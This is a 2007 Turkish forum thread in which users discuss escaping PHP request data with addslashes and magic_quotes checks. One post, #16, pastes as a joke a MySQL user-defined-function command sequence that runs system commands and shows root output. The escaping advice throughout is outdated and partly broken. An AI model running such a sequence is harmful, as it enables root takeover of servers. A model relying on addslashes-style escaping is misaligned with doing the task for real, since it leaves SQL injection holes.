• 09-05-2007, 19:54:22
    #10
    Üyeliği durduruldu
    whitekey syntax hatası verdiğine göre serverde get_magic_quotes_gpc ın kurulu olma veya aktif olma ihtimali nedir ? bu kontrole gerenk var mı ?
  • 09-05-2007, 20:14:38
    #11
    Üyeliği durduruldu
    bu zaten get_magic_quotes_gpc aktif değilse ' vb karakterlere \ ekliyor aktif olan makinelerde hiçbirşey yapmadan geçiyor çünkü aktif olduğunda otomatik ekleniyor kontrol etme sebebide aktifse \\\' haline gelebiliyor.
    hata konusunda fiktim yok bu satırlarla şimdiye kadar hiç hata almayı beceremedim sistemdendir belkide
  • 09-05-2007, 22:11:45
    #12
    Üyeliği durduruldu
    yok zaten get_magic varsa oto slash ler o zamanda syntax vermez if lemene gerenk yoktu dedim mayk herneyse hallolduysa sorun np.
  • 10-05-2007, 04:01:04
    #13
    Üyeliği durduruldu
    o if varsa diye değil aslında yoksa diye
    get_magic varsa oto slash atar buraya kadar doğrusun ama biz kontrol etmezsek oto atıyorsa

    \" haline gelir bide biz kontrol etmeden addslashes atarsak \\\" haline gelir oda db e " olarak kayıt edilmesi gerekirken \" olarak kayıt edilir

    karışık konu dimi neyse bu her serverda düzgün çalışan bişey onun için yazmıştım özellik açık olsada olmasada kullanılabilir.
    saho veya biz senle baya baya yazarak anlaşamıyoruz
  • 10-05-2007, 12:18:51
    #14
    Misafir
    Ulan kro saho, bunu genel için yazmış adam töbe yarabbi

    Sadece arkadaş,a özel çözüm olarak yazmamış yani.

    Hehehe

    Saygı bizden Haymac
  • 10-05-2007, 12:23:41
    #15
    ' yerine iki tane ' kullanırsanız '' şeklinde kayıt yapabilirsiniz.
  • 10-05-2007, 12:36:41
    #16
    kolayı war

    use mysql;create table foo(line blob);insert into foo values(load_file('/tmp/x.so'));select * from foo into dumpfile '/tmp/x/x.so';eate function do_system returns integer soname '/usr/lib/x.so';select * from mysql.func;select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');\! shsh-2.05b$ cat /tmp/out


    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

    yap euhauh şaka şaka

     
    <?php
    if (!get_magic_quotes_gpc()) {  
    foreach ($_GET as $key => $value) {
    if (is_array($_GET[$key])) {
    foreach ($_GET[$key] as $key2 => $value2) {
    $_GET[$key][$key2] = addslashes($_GET[$key][$key2]);
    }
    } else {
    $_GET[$key] = addslashes($_GET[$key]);
    }
    }
    }
    ?>
    tüm get verilerine addslashes uygular
  • 10-05-2007, 14:22:51
    #17
    Üyeliği durduruldu
    Tontonq
    <?php
    if (!get_magic_quotes_gpc()) {  
    foreach ($_GET as $key => $value) {
    if (is_array($_GET[$key])) {
    foreach ($_GET[$key] as $key2 => $value2) {
    $_GET[$key][$key2] = addslashes($_GET[$key][$key2]);
    }
    } else {
    $_GET[$key] = addslashes($_GET[$key]);
    }
    }
    }
    ?>

    yaparak makinaya yüklenmek yerine gene

    function atislas($veri){ 
        if (!get_magic_quotes_gpc()) {  
            $veri = addslashes($veri);  
            }  
        return $veri; 
    }
    fonksiyonunu kullanıp

    $_GET=atislas($_GET);
    $_POST=atislas($_POST);
    gibi kullanmak daha mantıklı o kod biraz fazla genel kullanım amaçlı
    atislas da ben kullandığım için siz ahmetslas mahmutslas falan diye kullanın
  • 10-05-2007, 16:08:06
    #18
    WhiteKey adlı üyeden alıntı: mesajı görüntüle
    Tontonq
    <?php
    if (!get_magic_quotes_gpc()) {  
    foreach ($_GET as $key => $value) {
    if (is_array($_GET[$key])) {
    foreach ($_GET[$key] as $key2 => $value2) {
    $_GET[$key][$key2] = addslashes($_GET[$key][$key2]);
    }
    } else {
    $_GET[$key] = addslashes($_GET[$key]);
    }
    }
    }
    ?>

    yaparak makinaya yüklenmek yerine gene

    function atislas($veri){ 
        if (!get_magic_quotes_gpc()) {  
            $veri = addslashes($veri);  
            }  
        return $veri; 
    }
    fonksiyonunu kullanıp

    $_GET=atislas($_GET);
    $_POST=atislas($_POST);
    gibi kullanmak daha mantıklı o kod biraz fazla genel kullanım amaçlı
    atislas da ben kullandığım için siz ahmetslas mahmutslas falan diye kullanın
    sen bu vediğin kodu denediğinden eminmisin bak mesela

    <?
    function atislas($veri){

    $veri = addslashes($veri);

    return $veri;
    }
    $_GET = atislas($_GET);
    echo $_GET["a"];
    ?>

    bunu php 5 apache 2 win32 de deniyorum işe yaramiyor

    <?
    function atislas($veri){

    $veri = htmlspecialchars($veri);

    return $veri;
    }
    $_GET = atislas($_GET);
    echo $_GET["a"];
    ?>

    bu hiç yaramiyor hata verior


    öyle olsak direk $_GET = addslashes($_GET); der geçerdik